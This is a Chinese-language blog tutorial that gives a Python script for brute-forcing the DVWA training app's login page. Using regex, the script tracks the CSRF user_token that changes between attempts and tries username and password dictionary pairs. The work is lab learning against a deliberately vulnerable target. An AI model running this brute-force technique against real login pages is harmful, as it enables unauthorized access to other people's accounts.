渗透测试入门学习——使用python脚本自动跟踪csrf_token实现对网站登录界面的暴力破解

目录

写在前面

使用方法

相关代码


写在前面

最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用,就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能,于是自己在练习时就想到了用python脚本的方式来弥补BP中的这一欠缺,其中的核心便是用python中的正则匹配库实现对Response内容的分析和定位需要获取的内容

相关代码

python 复制代码
import requests
import re

# 填入请求地址
url = "http://192.168.160.131/DVWA/vulnerabilities/brute/"
# 填入请求头中的Cookie值
cookie = "security=high; PHPSESSID=ekjn7547iglbc0stpsef2m9gm3"
# 填入页面中下次一请求需要携带的csrf_token值
csrf_token = "99095598fea3cf9d615b2687747aaf5f"
bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = "Username and/or password incorrect"
count = 0
# 定义正则表达式匹配规则,匹配某个input标签中name为user_token的字段的value值
# <input[^>]匹配以<input开始到>字符串
# 正则表达式的规则中+号后面的规则会继续对加号前面所匹配到字符串做处理,相当于层层筛选
# name=["\']user_token["\']匹配name="user_token"或name='user_token'字符串
# [^>]+value=["\']在input标签中,找到属性value=
# ([^"\']+)用来获取到匹配到的value中属性的值
# [^"\']+匹配非引号的字符
model = r'<input[^>]+name=["\']user_token["\'][^>]+value=["\']([^"\']+)["\']'

with open("./user.txt", 'r') as file_usr:
    with open("./pswd.txt", 'r') as file_pwd:
        while not bf_flag:
            first = file_usr.readline()
            if not first:
                break
            # 在内层循环之前,重置文件指针到文件开头实现遍历
            file_pwd.seek(0)
            while not bf_flag:
                second = file_pwd.readline()
                if not second:
                    break
                first = first.strip()
                second = second.strip()
                count += 1
                response = requests.get(url = url,
                                        params = {"username":first, "password":second, "Login":"Login", "user_token":csrf_token},
                                        headers = {"Cookie":cookie})
                match = re.search(model, response.text)
                if match:
                    # 获取正则表达式匹配到的内容,这里正常情况下只会匹配到一个,用.group(1)即可
                    csrf_token = match.group(1)
                else:
                    print("获取token失败,请检查匹配规则")
                if failure in response.text:
                    print("第"+ str(count) +"次尝试--失败:",first + " " + second)
                else:
                    print("第"+ str(count) +"次尝试--成功:",first + " " + second)
                    bf_flag = True;
                    break;

使用方法

在登陆界面随意尝试,查看并复制请求头中的Cookie值

在页面元素中查找下一次向服务器请求所需要的csrf_token值

填写到脚本的对应位置

根据自己的情况分别引入账号、口令两个字典文件

运行代码等待破解成功

相关推荐
橙子家4 小时前
浏览器缓存之【身份与会话管理】:Cookies 和 Private state tokens
前端
最新资讯动态5 小时前
HDC 2026 | 对话鲸鸿动能:存量时代,品牌如何夺回营销“主动权”?
前端
最新资讯动态5 小时前
游戏出海,从产品走向体系
前端
最新资讯动态5 小时前
20人团队跑出百万DAU、大厂也来抢量:谁在鸿蒙生态跑出加速度
前端
最新资讯动态5 小时前
千万开发者背后,鸿蒙商业化的B面
前端
爱勇宝7 小时前
AI 时代:智商决定起点,情商决定走多远
前端·ai编程
kyriewen7 小时前
用了半年 Claude Code 后,我尝试关掉它写了一周代码——结果比想象中严重
前端·javascript·ai编程
IT_陈寒8 小时前
Vite的静态资源打包让我熬夜到三点,这坑千万别跳
前端·人工智能·后端
徐小夕9 小时前
万字拆解 JitWord:企业级实时协同文档底层架构 + 大模型 AI 融合完整实践
前端·vue.js·github
一份执念9 小时前
uni-app 小程序分包限制处理与主包体积优化实战
前端·微信小程序